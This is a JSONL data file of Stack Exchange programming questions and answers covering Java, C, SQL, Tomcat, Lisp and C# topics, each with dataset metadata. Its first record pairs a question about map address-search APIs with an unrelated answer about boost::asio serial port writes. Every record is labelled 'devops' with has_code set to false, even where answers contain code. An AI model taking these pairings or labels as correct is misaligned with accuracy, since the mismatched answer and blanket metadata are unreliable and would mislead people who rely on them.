{"id": "hf_64cc28007cba", "question": "<p>I'm impressed with the simplicity of Microsoft's Virtual Earth Street Address search service.</p>\n\n<p>My requirement is to type rough address info with no comma separators into a simple text box, press a find button, wait a few seconds and then observe a result picklist.</p>\n\n<p>I mocked up something <a href=\"http://www.garyrusso.org/map.html\" rel=\"nofollow noreferrer\">here</a> using the <a href=\"http://dev.live.com/virtualearth/sdk/\" rel=\"nofollow noreferrer\">virtual earth SDK</a>.</p>\n\n<p>Does Google Maps have a similar API?</p>\n\n<p>Which street address search service is better?</p>\n", "question_body": "", "answer": "In addition to the baud rate, you may also need to set other options like: character_size, flow_control, parity and stop_bits. To write your data to the serial port you can do the following:\n```\n```\nboost::asio::write(port, boost::asio::buffer(commands, 4));\n```\n```\nThe libraries acceptance of buffer types is very flexible and you may want to read further on that topic here:\nBuffers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.493632"}
{"id": "hf_d431d62229f9", "question": "<p>I need to copy a set of rows from one tab to another tab of the same Excel document by just clicking a button. </p>\n\n<p>Also, can I also get information on how can I copy a set of rows that are hidden and paste it in the same tab without copying the \"hidden\" format?</p>\n", "question_body": "", "answer": "If 'Copystart' is your original rows, and 'Copyend' is where you want to paste them, then using named ranges:\n```\n```\nSub Copybutton_Click()\n\nRange(\"Copyend\").value = Range(\"Copystart\").value\nRange(\"Copyend\").visible = True\n\nEnd Sub\n```\n```\nIf you have multiple named ranges with the same name, then add [Sheetname]. in front of the range, where Sheetname is the name of the sheet that the named range is in that you want to reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.527498"}
{"id": "hf_83e48551c969", "question": "<p>Slightly related to my <a href=\"https://stackoverflow.com/questions/267750/java-instance-variable-accessibility\">other question</a>: What is the difference between the following:</p>\n\n<pre><code>private class Joe\nprotected class Joe\npublic class Joe\nclass Joe\n</code></pre>\n\n<p>Once again, the difference between the last 2 is what I'm most interested in.</p>\n", "question_body": "", "answer": "A public class is accessible to a class in any package.\nA class with default access (\n```\nclass Joe\n```\n) is only visible to other classes in the same package.\nThe private and protected modifiers can only be applied to inner classes.\nA private class is only visible to its enclosing class, and other inner classes in the same enclosing class.\nA protected class is visible to other classes in the same package, and to classes that extend the enclosing class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.573238"}
{"id": "hf_ec56ecb982b6", "question": "<p>(Note: This is for MySQL's SQL, not SQL Server.)</p>\n\n<p>I have a database column with values like \"abc def GHI JKL\". I want to write a WHERE clause that includes a case-insensitive test for any word that begins with a specific letter. For example, that example would test true for the letters a,c,g,j because there's a 'word' beginning with each of those letters. The application is for a search that offers to find records that have only words beginning with the specified letter. Also note that there is not a fulltext index for this table.</p>\n", "question_body": "", "answer": "Check the\nPattern Matching\nand\nRegular Expressions\nsections of the MySQL Reference Manual.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.619453"}
{"id": "hf_ff7dbd91717d", "question": "<p>Hey, in the Programming Pearls book, there is a source code for setting, clearing and testing a bit of the given index in an array of ints that is actually a set representation.</p>\n\n<p>The code is the following:</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#define BITSPERWORD 32\n#define SHIFT 5\n#define MASK 0x1F\n#define N 10000000\n\nint a[1+ N/BITSPERWORD];\n\nvoid set(int i)\n{\n    a[i&gt;&gt;SHIFT] |= (1&lt;&lt;(i &amp; MASK));\n}\n\nvoid clr(int i)\n{\n    a[i&gt;&gt;SHIFT] &amp;= ~(1&lt;&lt;(i &amp; MASK));\n}\n\nint test(int i)\n{\n    a[i&gt;&gt;SHIFT] &amp; (1&lt;&lt;(i &amp; MASK));\n}\n</code></pre>\n\n<p>Could somebody explain me the reason of the SHIFT and the MASK defines? And what are their purposes in the code?</p>\n\n<p>I've already read the previous related <a href=\"https://stackoverflow.com/questions/47981/how-do-you-set-clear-and-toggle-a-single-bit-in-c\">question</a>.</p>\n", "question_body": "", "answer": "From\nHere\n(General answer to get this thread started)\nA bit mask is a value (which may be stored in a variable) that enables you to isolate a specific set of bits within an integer type.\nNormally the masked will have the bits you are interested in set to 1 and all the other bits set to 0. The mask then allows you to isolate the value of the bits, clear all the bits or set all the bits or set a new value to the bits.\nMasks (particularly multi-bit ones) often have an associated shift value which is the amount the bits need shifting left so that the least significant masked bit is shifted to the least significant bit in the type.\nFor example using a 16 bit short data type suppose you wanted to be able to mask bits 3, 4 and 5 (LSB is number 0). You mask and shift would look something like\n```\n```\n#define MASK 0x0038\n#define SHIFT 3\n```\n```\nMasks are often assigned in hexadecimal because it is easier to work with bits in the data type in that base as opposed to decimal. Historically octal has also been used for bit masks.\nIf I have a variable, var, that contains data that the mask is relevant to then I can isolate the bits like this\n```\n```\nvar & MASK\n```\n```\nI can isolate all the other bits like this\n```\n```\nvar & ~MASK\n```\n```\nI can clear the bits like this\n```\n```\nvar &= ~MASK;\n```\n```\nI can clear all the other bits like this\n```\n```\nvar &= MASK;\n```\n```\nI can set all the bits like this\n```\n```\nvar |= MASK;\n```\n```\nI can set all the other bits like this\n```\n```\nvar |= ~MASK;\n```\n```\nI can extract the decimal value of the bits like this\n```\n```\n(var & MASK) >> SHIFT\n```\n```\nI can assign a new value to the bits like this\n```\n```\nvar &= ~MASK;\nvar |= (newValue << SHIFT) & MASK;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.657450"}
{"id": "hf_f6ed66fda1fe", "question": "<p>I am writing a Rails app that processes data into a graph (using Scruffy).  I am wondering how can I render the graph to a blog/string and then send the blog/string directly to the  the browser to be displayed (without saving it to a file)? Or do I need to render it, save it to a file, then display the saved image file in the browser? </p>\n", "question_body": "", "answer": "I think you will be able to use\nsend_data\nfor this purpose:\n```\n```\nsend_data data_string, :filename => 'icon.jpg', :type => 'image/jpeg', :disposition => 'inline'\n```\n```\nIf you put this in a controller action - say show on a picture controller, then all you need do is include the following in your view (assuming RESTful routes):\n```\n```\n<%= image_tag picture_path(@picture) %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.693437"}
{"id": "hf_77dac3c55411", "question": "<p>Can anyone please tell me if Certifying Authorities (CAs) are allowed to make modifications to the Certificate Signing Request (CSR) before actually signing the certificate with their own private key? </p>\n\n<p>Specifically, I'd like to know if it's valid for the CA to insert additional fields (such as EKUs) into the cert before adding their signature.</p>\n", "question_body": "", "answer": "I can't speak about CAs in general, but I once ran a Windows Server 2003 network with its own CA, and it's definitely possible to make\n```\ncertreq\n```\n(through the\n```\n-attrib\n```\noption) add additional fields to the CSR before it gets to the CA. Thus, it looks to me like it's possible for the CA itself to do much the same thing.\nYour mileage may vary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.726864"}
{"id": "hf_6322884027af", "question": "<p>I'm using SQLAlchemy 0.5rc, and I'd like to add an automatic filter to a relation, so that every time it tries to fetch records for that relation, it ignores the \"remote\" ones if they're flagged as \"logically_deleted\" (a boolean field of the child table)</p>\n\n<p>For example, if an object \"parent\" has a \"children\" relation that has\n3 records, but one of them is logically deleted, when I query for \"Parent\" I'd like SQLA to\nfetch the parent object with just two children..<br>\nHow should I do it? By adding an \"and\" condition to the primaryjoin\nparameter of the relation? (e.g. \"<code>Children.parent_id == Parent.id and Children.logically_deleted == False</code>\", but is it correct to write \"and\" in this way?)</p>\n\n<p><strong>Edit:</strong><br>\nI managed to do it in this way</p>\n\n<pre><code>children = relation(\"Children\", primaryjoin=and_(id == Children.parent_id, Children.logically_deleted==False))\n</code></pre>\n\n<p>but is there a way to use a string as primaryjoin instead?</p>\n", "question_body": "", "answer": "I'm only currently developing agains 0.4.something, but here's how I'd suggest it:\n```\n```\ndb.query(Object).filter(Object.first==value).filter(Object.second==False).all()\n```\n```\nI think that's what you are trying to do, right?\n(Note: written in a web browser, not real code!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.749642"}
{"id": "hf_abf6d2403da4", "question": "<p>Reading <a href=\"http://www.paulgraham.com/articles.html\" rel=\"noreferrer\">Paul Graham's essays</a> on programming languages one would think that <a href=\"http://wiki.c2.com/?LispMacro\" rel=\"noreferrer\">Lisp macros</a> are the only way to go. As a busy developer, working on other platforms, I have not had the privilege of using Lisp macros. As someone who wants to understand the buzz, please explain what makes this feature so powerful.</p>\n\n<p>Please also relate this to something I would understand from the worlds of Python, Java, C# or C development.</p>\n", "question_body": "", "answer": "You will find a comprehensive debate around\nlisp macro here\n.\nAn interesting subset of that article:\nIn most programming languages, syntax is complex.  Macros have to take apart program syntax, analyze it, and reassemble it.  They do not have access to the program's parser, so they have to depend on heuristics and best-guesses.  Sometimes their cut-rate analysis is wrong, and then they break.\nBut Lisp is different.  Lisp macros\ndo\nhave access to the parser, and it is a really simple parser.\nA Lisp macro is not handed a string, but a preparsed piece of source code in the form of a list, because the source of a Lisp program is not a string; it is a list.\nAnd Lisp programs are really good at taking apart lists and putting them back together.  They do this reliably, every day.\nHere is an extended example.  Lisp has a macro, called \"setf\", that performs assignment.  The simplest form of setf is\n```\n```\n(setf x whatever)\n```\n```\nwhich sets the value of the symbol \"x\" to the value of the expression \"whatever\".\nLisp also has lists; you can use the \"car\" and \"cdr\" functions to get the first element of a list or the rest of the list, respectively.\nNow what if you want to replace the first element of a list with a new value?  There is a standard function for doing that, and incredibly, its name is even worse than \"car\".  It is \"rplaca\".  But you do not have to remember \"rplaca\", because you can write\n```\n```\n(setf (car somelist) whatever)\n```\n```\nto set the car of somelist.\nWhat is really happening here is that \"setf\" is a macro.  At compile time, it examines its arguments, and it sees that the first one has the form (car SOMETHING).  It says to itself \"Oh, the programmer is trying to set the car of somthing.  The function to use for that is 'rplaca'.\"  And it quietly rewrites the code in place to:\n```\n```\n(rplaca somelist whatever)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.777697"}
{"id": "hf_83594076042b", "question": "<p>What is the best way to configure Tomcat 5.5 or later to authenticate users from Windows Active Directory?</p>\n", "question_body": "", "answer": "From\nwww.jspwiki.org\nSee :\nActiveDirectoryIntegration\nTry this in the server.xml with your ldap-settings :\n```\n```\n<Realm className=\"org.apache.catalina.realm.JNDIRealm\" debug=\"99\"\n    connectionURL=\"ldap://youradsserver:389\"\n    alternateURL=\"ldap://youradsserver:389\"         \n    userRoleName=\"member\"\n    userBase=\"cn=Users,dc=yourdomain\"\n    userPattern=\"cn={0},cn=Users,dc=yourdomain\"\n    roleBase=\"cn=Users,dc=yourdomain\"\n    roleName=\"cn\"\n    roleSearch=\"(member={0})\"\n    roleSubtree=\"false\"\n    userSubtree=\"true\"/>\n```\n```\nAnd define the role in the tomcat-users.xml and the web.xml of your application\nEdit\n```\nwebapp_root/WEB_INF/Web.xml\n```\nfile as follows:\n```\n```\n<security-constraint>\n   <display-name>your web app display name</display-name>\n   <web-resource-collection>\n     <web-resource-name>Protected Area</web-resource-name>\n     <url-pattern>*.jsp</url-pattern>\n     <url-pattern>*.html</url-pattern>\n     <url-pattern>*.xml</url-pattern>\n   </web-resource-collection>\n   <auth-constraint>\n     <role-name>yourrolname(ADS Group)</role-name>\n   </auth-constraint>\n </security-constraint>\n <login-config>\n   <auth-method>FORM</auth-method>\n   <form-login-config>\n     <form-login-page>/login.jsp</form-login-page>\n     <form-error-page>/error.jsp</form-error-page>\n   </form-login-config>\n </login-config>\n <security-role>\n   <description>your role description</description>\n   <role-name>yourrolename(i.e ADS group)</role-name>\n </security-role>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.812093"}
{"id": "hf_4f8ed01eea74", "question": "<p>I think most C++ programmers here would agree that polluting the global namespace is a bad idea, but are there times when this rule can be ignored?</p>\n\n<p>For example, I have a type that I need to use all over a particular application - should I define it thus:</p>\n\n<pre><code>mytypes.h\n\ntypedef int MY_TYPE;\n\nfoo.cpp\n\nMY_TYPE myType;\n</code></pre>\n\n<p>Or use a namespace:</p>\n\n<pre><code>mytypes.h\n\nnamespace ns {\ntypedef int MY_TYPE;\n}\n\nfoo.cpp\n\nns::MY_TYPE myType;\n...\nusing namespace ns;\nMY_TYPE myType;\n</code></pre>\n\n<p>Which do you prefer?  Are there times when it is acceptable to use the first method?</p>\n", "question_body": "", "answer": "I use namespaces for partitioning library code from application-specific code, and in a big project to partition the various modules that make up the project.\nThe global namespace is thus useful for application-specific types and functions that are used across multiple modules in the application.\nSo, if your\n```\nMY_TYPE\n```\nis used throughout your application, put it in the global namespace, otherwise put it in a named namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.870575"}
{"id": "hf_ae575a81d785", "question": "<p>I'm making my way through the early <a href=\"http://www.asp.net/learn/data-access/?lang=cs\" rel=\"noreferrer\">Data Access Tutorials</a> on Microsoft's ASP.NET website and it occurred to me that this all seems awfully similar to what I have read about separating your logic and presentation code using the <a href=\"http://en.wikipedia.org/wiki/Model-view-controller\" rel=\"noreferrer\">MVC pattern</a>. As a newbie I have yet to implement the MVC pattern but I'm curious as to how these two design structures differ and if I should be focusing my attention on one or the other, particularly in the context of web design.</p>\n", "question_body": "", "answer": "The link you've posted for the Data Access Tutorial is implementation of MVC pattern. MVC pattern is a concept, implementation can differ; you have this in ASP.NET whereas in Java there's one framework called\nStruts\n, which is an implementation MVC.\nDAL & BLL patterns differ from the MVC pattern in terms of concepts; but NOT this specific implementation. MVC is actually achieved through usage of DAL, BLL & View Patterns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.916259"}
{"id": "hf_250838b01da7", "question": "<p>I have two applications under <code>tomcat/webapps</code> folder.   </p>\n\n<pre><code>tomcat/webapps/App1\ntomcat/webapps/App2\n</code></pre>\n\n<p>Both applications share the same libraries. Which are stored for example in <code>tomcat/webapps/App1/WEB-INF/lib</code>.</p>\n\n<p>Are both libraries loaded twice in memory?</p>\n\n<p>Should I put these shared libraries in <code>tomcat/server/lib</code>?</p>\n", "question_body": "", "answer": "As you can see\nhere\n, Tomcat creates one class-loader per webapp on your server.\nThus, if you have webapp1 and webapp2 that share the same library, then this library will be indeed loaded twice.\nYou can eventually place this library in the common directory (tomcat-dir/common/lib) if it is shared by\nall\nwebapps that run on your Tomcat server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:24.982855"}
{"id": "hf_09e760aa1a12", "question": "<p>I have a QGraphicsScene that I want to copy and append to the start of a list.  What is the best method of doing this?</p>\n\n<pre><code>QGraphicsScene* m_scene = new QGraphicsScene();\nQGraphicsScene* m_DuplicateScene;\n\nQList&lt;QGraphicsScene *&gt;m_list;\n</code></pre>\n", "question_body": "", "answer": "Doing this would be very complicated because you don't know anything about the children of\n```\nm_scene\n```\n.  Even if you\n```\ndynamic_cast\n```\nand create a\n```\nclone()\n```\nfunction for each type of\n```\nQGraphicsItem\n```\n, you still need to remember that other people can subclass\n```\nQGraphicsItem\n```\nand create their own type of graphics item, making them unclonable by you.\nBasically, no, you can't duplicate a\n```\nQGraphicsScene\n```\n(cloning all items in the process).  You can't even make references to the children of the original scene's children because a\n```\nQGraphicsItem\n```\ncan only have one scene.\nUnless I'm missing a method call, of course.  Searches for \"clone,\" \"copy,\" and \"duplicate\" produced no results, though.\nOn your second question, use\n```\nQList<T *>::push_front\n```\n.  Thus,\n```\nm_list.push_front\n```\n(\n```\nm_DuplicateScene\n```\n);\n(Side note: you prepend to the start of a list, and append to the end of a list.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.051000"}
{"id": "hf_51b55421b168", "question": "<p>Does any one know of an API that would allow me to draw something like this. It would need some interactivity to it</p>\n\n<ul>\n<li>zooming</li>\n<li>change second dimension axis angle</li>\n</ul>\n\n<p>I was looking at <a href=\"http://www.jfree.org/jfreechart/\" rel=\"nofollow noreferrer\">JFreeChart</a> but I don't see any example of doing 2D overlap chart. </p>\n\n<p>Thanks</p>\n\n<p><a href=\"https://i.stack.imgur.com/Jb0V3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Jb0V3.png\" alt=\"alt text\"></a></p>\n", "question_body": "", "answer": "May be\nChart3D\nmight be what you are after (not free though)\nA more simple and free solution might be a\nSpiceChart 3D line\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.074345"}
{"id": "hf_c2222a3ba13b", "question": "<p>Is there anyway to decompile java webstart application? </p>\n", "question_body": "", "answer": "Start the application, then fetch the JAR(s) from the webstart cache. Proceed to decompile like with any other Java application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.097538"}
{"id": "hf_d7757f26c5f0", "question": "<p>Is there anything that has features of TFS(Like Source Control, Debug, Testing,...) that we can use in a workgroup with a small team(say 1-6 persons)?</p>\n\n<p>BTW: we are using VS 2008 Team Suit</p>\n", "question_body": "", "answer": "Do you particularly need it all in one package? Various open source projects only do one thing, but integrate nicely with others. For instance:\nSubversion\nfor source control\nTrac\nfor bug tracking\nCruise Control .NET\nfor continuous builds\nNAnt\nfor build management", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.135851"}
{"id": "hf_9ff8f9648606", "question": "<p>The install instructions are:</p>\n\n<pre><code>$ python setup.py build\n$ sudo python setup.py install # or su first\n</code></pre>\n\n<p>This gives me an .egg file. How do I tell the install to dump the files as a normal, uncompressed library?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "From the\nEasyInstall\ndoc, command line options:\n--always-unzip, -Z\nDon't install any packages as zip files, even if the packages are marked as safe for running as a zipfile.\nCan you use\neasyinstall\ninstead of calling setup.py ?\ncalling\n```\neasy_install -Z mysql_python\n```\nfrom the command prompt, finds the egg on the net and installs it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.170213"}
{"id": "hf_ca97f66eea99", "question": "<p>We are using trac and are really satisfied with it. However, out of the box, trac is best suited for single-project environments only. I'd be interested to hear about the various approaches people take to make it work with multiple projects nevertheless and their experiences with them. Are there any plugins to recommend? Any patches, tweaks or whatnots? Are you maybe even using an entirely different bug-tracking system that offers all of trac's functionality plus multi-project support?</p>\n\n<p>We recently started managing a second project ourselves which generally works okay but also has some drawbacks, especially where the two projects overlap because of common library code we wrote that is used in both projects. How do you handle this?</p>\n\n<p>(I'll attach our own current approach as an answer to this post.)</p>\n", "question_body": "", "answer": "The approach we took is to create another trac environment for each new project and set up\nInterTrac\nlinks for simpler cross-referencing between the two. We also use a common base\nTrac.ini\nfile via the [inherit] directive.\nBesides the ambiguity issues with shared code mentioned in the question, this has a couple of drawbacks that may or may not affect you, depending on the nature of your projects and your workflow:\ncreating new projects is not an easy process; it can not be done via the browser interface\nticket numbers are not unified: each new project environment starts fresh from #1 - at least with InterTrac aliases you can easily disambiguate them\nyou have to take extra care when installing and configuring plugins so they will be installed and configured for all environments", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.204186"}
{"id": "hf_b1c0b5413f4b", "question": "<p>In Delphi 2009 whereabouts do you turn on the option to treat warnings as errors?</p>\n", "question_body": "", "answer": "Just found the answer soon after I posted this!  Might be useful for other people.\nNavigate to '\n```\nProject -> Options - > Delphi Compiler -> Hints and Warnings\n```\n' and change the value of '\n```\nOutput Warnings\n```\n' to '\n```\nas errors\n```\n'\nI was looking for an option similar to what Visual Studio has", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.249322"}
{"id": "hf_b264c5493b4c", "question": "<p>Looking at <code>System.Collections.Generic.Dictionary&lt;TKey, TValue&gt;</code>, it clearly implements <code>ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;</code>, but doesn't have the required \"<code>void Add(KeyValuePair&lt;TKey, TValue&gt; item)</code>\" function.</p>\n\n<p>This can also be seen when trying to initialize a <code>Dictionary</code> like this:</p>\n\n<pre><code>private const Dictionary&lt;string, int&gt; PropertyIDs = new Dictionary&lt;string, int&gt;()\n{\n    new KeyValuePair&lt;string,int&gt;(\"muh\", 2)\n};\n</code></pre>\n\n<p>which fails with </p>\n\n<blockquote>\n  <p>No overload for method 'Add' takes '1' arguments</p>\n</blockquote>\n\n<p>Why is that so?</p>\n", "question_body": "", "answer": "The expected API is to add via the two argument\n```\nAdd(key,value)\n```\nmethod (or the\n```\nthis[key]\n```\nindexer); as such, it uses explicit interface implementation to provide the\n```\nAdd(KeyValuePair<,>)\n```\nmethod.\nIf you use the\n```\nIDictionary<string, int>\n```\ninterface instead, you will have access to the missing method (since you can't hide anything on an interface).\nAlso, with the collection initializer, note that you can use the alternative syntax:\n```\n```\nDictionary<string, int> PropertyIDs = new Dictionary<string, int> {\n  {\"abc\",1}, {\"def\",2}, {\"ghi\",3}\n}\n```\n```\nwhich uses the\n```\nAdd(key,value)\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.269688"}
{"id": "hf_a7b337fe61f5", "question": "<p>I have been trying to include a file in a included file e.g</p>\n\n<p><strong>main.cpp file</strong></p>\n\n<pre><code>#include &lt;includedfile.cpp&gt;\nint main(){\n     cout&lt;&lt;name&lt;&lt;endl;\n}\n</code></pre>\n\n<p><strong>includedfile.cpp</strong></p>\n\n<pre><code>#include &lt;iostream&gt;\nusing namespace std;\nstring name;\nname = \"jim\";\n</code></pre>\n\n<p>this code does not work, the debuger says that name is not defined.</p>\n", "question_body": "", "answer": "You cannot have statements exist outside of a method!\n```\n```\nname = \"jim\"; // This is outside of any method, so it is an error.\n```\n```\nYou could refactor your code so the variable declaration is also an initial assignment, which should be valid (my C++ is a bit rusty, so I might be wrong on this point).\n```\n```\nstring name = \"jim\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.293351"}
{"id": "hf_0fb6769c8314", "question": "<p>I have 3 lists, I will make them simple here. </p>\n\n<p>list of letters<br>\nA<br>\nB<br>\nC  </p>\n\n<p>list of numbers<br>\n1<br>\n2<br>\n3                                               </p>\n\n<p>Mixed<br>\nA,1<br>\nA,2<br>\nB,2<br>\nB,3<br>\nC,1<br>\nC,3</p>\n\n<p>I need to know what is missing:<br>\nA,3<br>\nB,1<br>\nC,2</p>\n\n<p>The list of letters has about 85 entries<br>\nand the list of numbers has about 500 entries.</p>\n\n<p>The mixed list has about 75,000 entries.</p>\n\n<p>I can use either a database query (mysql 5.0) or Turbo Delphi 2006 to process text files. What would be the best way to find what is missing?</p>\n\n<p>Thanks,<br>\n  Dave</p>\n", "question_body": "", "answer": "A cross join would produce every combination there is, given that you have both of your lists in SQL tables:\n```\n```\nSELECT\n  Letter + ',' + Number AS Combination\nFROM\n  NumberList,\n  LetterList\n```\n```\nUsing the combined result (maybe save it into a temporary table), you can use a NOT EXISTS query to find what is missing:\n```\n```\nSELECT\n  Combination\nFROM\n  AllCombinations AS a\nWHERE\n  NOT EXISTS \n  (SELECT 1 FROM MyCombitations AS m WHERE m.Combination = a.Combination)\n```\n```\nThis would require a table\n```\nMyCombitations\n```\n, which lists all of the combinations you actually have and want to check against the full list.\nIf you want to speed things up, you should use a permanent table of combinations and an index on the\n```\nMyCombitations.Combination\n```\nfield. For repeated querying this is definitely advisable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.317001"}
{"id": "hf_28a66884fa20", "question": "<p>In a table I have the following schema</p>\n\n<pre><code>table1:\nplayerID int primary key,\nnationalities nvarchar\n\ntable2:\nplayerID int,\npubVisited nvarchar\n</code></pre>\n\n<p>Now, I want to set all the players' playedVisited to null, for player whose nationality is \"England\", any idea on how to do this? </p>\n", "question_body": "", "answer": "Judging by the\nnvarchar\ntype, you're using MSSQL. Now, in MySQL you could use a subselect in the update .. where clause but MSSQL has its own update .. from clause:\n```\n```\nUPDATE table2\nSET\n    table2.pubVisited = null\nFROM table1\nWHERE\n    table2.playerID = table1.playerID and table1.nationalities = 'England'\n```\n```\nHaven't tested it though, so it might not work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.386209"}
{"id": "hf_5022c03e4d63", "question": "<pre>\nSELECT `name` , COUNT(*) AS `count`\nFROM `t1`, `t2`\nWHERE `t2`.`id` = `t1`.`id`\nGROUP BY `t2`.`id`\n</pre>\n\n<p>I want to obtain the name from t1 and the number of rows in t2 where the id is the same as on t1.</p>\n\n<p>I've got the above so far, however it won't return any data if there are no rows in t2 that match. I'd prefer <code>count</code> to be 0 (or NULL) if there are no rows, and the name still returns.</p>\n\n<p><em>Edit:</em> I'd like to be able to sort by the <code>count</code> descending. (or <code>name</code> ASC) is that possible?</p>\n", "question_body": "", "answer": "Do a union to get the other set\n```\n```\nSELECT `name` , COUNT(*) AS `count`\nFROM `t1`, `t2`\nWHERE `t2`.`id` = `t1`.`id`\nGROUP BY `t2`.`id`\nUNION\nSelect name, 0 as count\nfrom t1\nwhere NOT EXISTS (select 1 from t2 where `t2`.`id` = `t1`.`id`)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.411695"}
